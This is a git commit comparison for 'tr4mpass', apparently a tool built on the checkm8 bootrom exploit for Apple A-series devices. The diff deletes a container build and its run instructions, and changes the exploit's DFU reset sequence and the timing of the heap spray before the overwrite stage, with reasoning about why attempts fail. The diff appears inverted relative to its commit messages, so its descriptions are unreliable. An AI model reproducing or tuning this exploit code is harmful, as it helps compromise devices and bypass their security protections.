Compare commits

..

3 commits

Author SHA1 Message Date
debian
a561ac6090 refactor(exploit): detect usbipd by kernel marker and state the pause as the only claim
The env-var check disappears under sudo env_reset, which is how the tool is usually run. Read /proc/version as well. Reword the block comment so it only claims what was measured: the delay was written for usbipd, and dropping it elsewhere is not backed by a measurement of native runs.
2026-11-29 13:05:49 -03:00
debian
4accca793f chore(exploit): trace every control transfer with monotonic timing
The only trace of a failed sequence was the stage-4 error line. LIBUSB_ERROR_NO_DEVICE is ambiguous: it is the same code whether the device left the bus mid-transfer or between stages, and that distinction decides which stage to look at.

Log request, result and elapsed microseconds for every control transfer, plus whether the async setup transfer completed or was cancelled. Everything is log_debug, so the default output does not change.
2026-11-29 13:05:07 -03:00
debian
e92bc7ab78 fix(checkm8): only pause after the spray on usbipd-win
Stage 3 ended with an unconditional 1 s sleep before stage 4. The delay was added for usbipd-win, where the vhci layer frees the spray buffers late, but on a native host the reference implementation goes straight from the spray to the overwrite.

An idle second between the last confirmed STALL and the overwrite is a window in which the device can leave dfuIDLE on its own. When it does, the next control transfer returns LIBUSB_ERROR_NO_DEVICE (-4) and the sequence fails at stage 4 with no other trace. Keep the pause only where it is needed.
2026-11-29 13:05:07 -03:00
5 changed files with 38 additions and 255 deletions

View file

@ -1,12 +0,0 @@
.git
.gitignore
*.o
tr4mpass
.build-flags
tests/*.bin
tests/run_tests
tests/run_mock_tests
notes
research
*.md
!README-REPRO.md

View file

@ -1,32 +0,0 @@
# syntax=docker/dockerfile:1
# Reproducible build of tr4mpass with every dependency inside the image, so
# nothing gets installed on the host. Debian trixie matches the development
# host. The binary links against trixie's shared libraries, so it is meant to
# run inside this image, not to be copied out: on another machine it will fail
# with "cannot open shared object file".
FROM debian:trixie-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential pkg-config \
libimobiledevice-dev libirecovery-1.0-dev libusb-1.0-0-dev libplist-dev \
libssl-dev libcurl4-openssl-dev libssh2-1-dev \
usbutils \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /build
# Only what make needs: the Makefile, src/, include/ and tests/ (the
# .chip-db-canary target depends on tests/chip_db_canary.c).
COPY Makefile ./
COPY src ./src
COPY include ./include
COPY tests ./tests
RUN make clean && make
# The binary ends up at /build/tr4mpass. Running it needs the real USB bus:
# podman run --rm -it --device-cgroup-rule='c 189:* rwm' \
# -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v
# 189 is the USB major. Rootless podman cannot open those nodes (they are
# root:root 0664), so running needs rootful podman or a udev rule on the host.
CMD ["/bin/bash"]

View file

@ -1,51 +0,0 @@
# Reproducing the build of tr4mpass (checkm8 A8/xHCI branch)
Branch: `fix/checkm8-a8-xhci`.
## Option 1 — Native (recommended for actually running it)
`start.sh` detects the OS, installs every dependency and builds:
```
git clone <repo-url>
cd tr4mpass
./start.sh
```
It installs packages through apt/brew/dnf/pacman/zypper/apk (needs `sudo`) and
runs `make clean && make`. The device must be connected by USB to that same
machine.
## Option 2 — Container (reproducible build, nothing installed on the host)
```
podman build -t tr4mpass .
```
The Dockerfile (Debian trixie) installs `libimobiledevice-dev`,
`libirecovery-1.0-dev`, `libusb-1.0-0-dev`, `libplist-dev`, `libssl-dev`,
`libcurl4-openssl-dev`, `libssh2-1-dev`, `pkg-config` and `build-essential`,
then builds the binary.
### The binary is not portable
It links against trixie's shared libraries. Copying `/build/tr4mpass` to another
machine fails with `cannot open shared object file`. The container is meant to
build and run the binary inside the image, not to produce a portable artifact.
### Running with USB access
The sequence drives EP0 directly through libusb, so it needs the real USB bus:
```
podman run --rm -it --device-cgroup-rule='c 189:* rwm' \
-v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v
```
189 is the USB major number. Two limits to be aware of:
- Rootless podman cannot open the `/dev/bus/usb` nodes (they are `root:root`
0664), so this needs rootful podman or a udev rule on the host.
- On macOS and Windows the Linux VM does not receive the USB device, so the
container route does not work there. On SELinux hosts you may need
`--security-opt label=disable`.

View file

@ -317,13 +317,25 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
} }
/* /*
* The delay is only required on usbipd-win, which is the setup that * On usbipd-win, GET_DESCRIPTOR spray requests are sent with
* motivated it: the vhci layer adds latency and the buffers are * very short timeouts (1ms). The device allocates response
* freed late. On a native host the reference implementation goes * buffers that are only freed after its own internal USB timeout
* straight from the spray to the overwrite, and the idle second is * fires (~50-200ms per buffer). If stage 4 starts immediately,
* a window in which the device can leave dfuIDLE on its own. When * those buffers still occupy the heap and the DFU_DNLOAD
* that happens the next control transfer returns NO_DEVICE (-4) and * io_buffer cannot land at insecure_memory_base.
* the sequence fails at stage 4. *
* Wait 1 second to ensure all spray buffers are freed by the
* device before stage 4's DFU_DNLOAD allocation. This is the setup
* the delay was written for: the vhci layer adds latency and the
* buffers are freed late.
*
* On a native host there is no evidence that the same wait is
* needed, and no measurement has been taken either way. One
* hypothesis is that the idle second is a window in which the
* device can leave dfuIDLE on its own, which would surface as
* NO_DEVICE (-4) at stage 4; that is unconfirmed. What this change
* claims is narrower: do not keep a delay on transports that never
* asked for it, so a native run behaves like the bus it runs on.
*/ */
if (usbipd_present()) if (usbipd_present())
usleep(1000000); /* 1 s -- usbipd only */ usleep(1000000); /* 1 s -- usbipd only */

View file

@ -4,7 +4,6 @@
* Gaster typically succeeds within 5-10 attempts; 50 is generous. */ * Gaster typically succeeds within 5-10 attempts; 50 is generous. */
#define MAX_SETUP_RETRIES 50 #define MAX_SETUP_RETRIES 50
#include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <time.h> #include <time.h>
@ -273,130 +272,10 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev,
* usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */ * usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */
#define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */ #define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */
/*
* Stage 1 helpers.
*
* DFU request/state constants live in dfu_proto.h.
*/
/*
* usbipd_present -- true when the device is reached through usbipd.
*
* WSL_DISTRO_NAME alone is not enough: sudo resets the environment by
* default, so the variable disappears exactly when the tool is run the
* way most of the reports run it. /proc/version keeps a marker that
* survives sudo.
*/
static int usbipd_present(void)
{
FILE *f;
char buf[256];
size_t n;
if (getenv("WSL_DISTRO_NAME") != NULL)
return 1;
f = fopen("/proc/version", "r");
if (!f)
return 0;
n = fread(buf, 1, sizeof(buf) - 1, f);
fclose(f);
buf[n] = '\0';
return strstr(buf, "microsoft") != NULL ||
strstr(buf, "Microsoft") != NULL;
}
/*
* stage1_dnload_exact -- DFU_DNLOAD with an exact-length check.
*
* gaster's stage 1 requires the device to accept the full block (16 and
* 64 bytes). dfu_dnload() reports success for any non-negative return,
* so send the request directly and insist on the exact length.
*/
static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len)
{
uint8_t *buf = NULL;
int ret;
if (len > 0) {
buf = calloc(1, len);
if (!buf)
return -1;
}
/* 0x21 = host-to-device, class, interface (the DFU_BMRT_OUT value
* kept local to dfu_proto.c); timeout 5000 ms matches DFU_TIMEOUT. */
ret = usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
buf, len, 5000);
free(buf);
if (ret < 0) {
/*
* On usbipd the STATUS ACK of a DNLOAD is dropped and surfaces as
* TIMEOUT even though the device consumed every byte;
* send_dfu_finalize() and send_payload_chunks() rely on the same
* property, so a TIMEOUT is not a failed transfer. Failing here
* would break stage 1 on the one transport that needs it most.
*/
if (ret == LIBUSB_ERROR_TIMEOUT) {
log_warn("stage1_dnload_exact: DNLOAD(%u) timed out after "
"sending the block -- continuing", len);
return 0;
}
log_error("stage1_dnload_exact: DNLOAD(%u) failed: %s",
len, libusb_strerror(ret));
return -1;
}
if (ret != len) {
log_error("stage1_dnload_exact: DNLOAD(%u) accepted %d of %u bytes",
len, ret, len);
return -1;
}
return 0;
}
/*
* dfu_check_state -- one GETSTATUS, compared against the expected state.
*
* gaster issues exactly three GETSTATUS requests here, one per state of
* the manifest cycle. Polling for more is not harmless: each GETSTATUS
* advances the device's state machine, so a repeat request for a state
* that already passed reads the next one and the sequence desynchronises.
*
* The one tolerated failure is the usbipd case, consistent with
* dfu_reset_to_idle(): that transport can expose a device that answers
* everything except GETSTATUS, and failing the stage there would trade
* one transport bug for another.
*/
static int dfu_check_state(libusb_device_handle *usb, uint8_t state)
{
dfu_status_t st;
if (dfu_get_status(usb, &st) != 0) {
if (usbipd_present()) {
log_warn("dfu_check_state: GETSTATUS failed on usbipd -- "
"assuming state 0x%02X was reached", state);
return 0;
}
log_error("dfu_check_state: GETSTATUS failed while waiting for "
"state 0x%02X", state);
return -1;
}
if (st.bStatus != DFU_STATUS_OK || st.bState != state) {
log_error("dfu_check_state: expected state 0x%02X with status OK, "
"got 0x%02X/0x%02X", state, st.bState, st.bStatus);
return -1;
}
return 0;
}
int checkm8_stage_reset(exploit_ctx_t *ctx) int checkm8_stage_reset(exploit_ctx_t *ctx)
{ {
libusb_device_handle *usb; libusb_device_handle *usb;
dfu_status_t status;
if (!ctx || !ctx->dev) if (!ctx || !ctx->dev)
return -1; return -1;
@ -405,44 +284,31 @@ int checkm8_stage_reset(exploit_ctx_t *ctx)
log_info("checkm8: stage 1/4 -- reset DFU state"); log_info("checkm8: stage 1/4 -- reset DFU state");
/* /*
* Reference sequence (gaster checkm8_stage_reset): * First: get the current device state so we know how much work to do.
* *
* 1. DNLOAD(DFU_FILE_SUFFIX_LEN) -- 16 bytes * If the device is already in dfuIDLE (fresh DFU entry) dfu_reset_to_idle
* 2. DNLOAD(0), then poll GETSTATUS through * will return immediately. If it's stuck in dfuDNLOAD-IDLE, dfuError,
* MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET * or dfuMANIFEST-WAIT-RESET from a previous attempt, dfu_reset_to_idle
* 3. DNLOAD(EP0_MAX_PACKET_SZ) -- 64 bytes * will use ABORT + CLRSTATUS (no USB bus reset) to recover.
* *
* The manifest cycle is not just cleanup. It drives the DFU state * We intentionally do NOT call libusb_reset_device here: on Apple A-series
* machine to a known point and leaves 16- and 64-byte blocks free * iBoot DFU, a USB bus reset via libusb is treated as a hard power-cycle
* for the stages that follow. Skipping it (only GETSTATUS + a * event, causing the device to reboot out of DFU mode entirely rather than
* reset to idle) left the device able to leave dfuIDLE on its own, * returning to dfuIDLE. DFU protocol-level recovery is sufficient.
* which made the final control transfer return NO_DEVICE.
*
* No libusb bus reset here: on Apple A-series iBoot DFU a bus reset
* is a hard power-cycle event that reboots the device out of DFU.
* The manifest cycle is protocol-level only.
*/ */
if (stage1_dnload_exact(usb, DFU_FILE_SUFFIX_LEN) != 0) if (dfu_get_status(usb, &status) == 0) {
goto fail; log_debug("checkm8_stage_reset: device state=0x%02X status=0x%02X",
status.bState, status.bStatus);
}
if (stage1_dnload_exact(usb, 0) != 0) if (dfu_reset_to_idle(usb) != 0) {
goto fail; log_error("checkm8_stage_reset: failed to reach dfuIDLE");
return -1;
if (dfu_check_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || }
dfu_check_state(usb, DFU_STATE_MANIFEST) != 0 ||
dfu_check_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0)
goto fail;
if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0)
goto fail;
ctx->phase = EXPLOIT_PHASE_RESET; ctx->phase = EXPLOIT_PHASE_RESET;
log_info("checkm8: stage 1 complete -- manifest cycle done"); log_info("checkm8: stage 1 complete -- DFU state reset to idle");
return 0; return 0;
fail:
dfu_clr_status(usb);
return -1;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */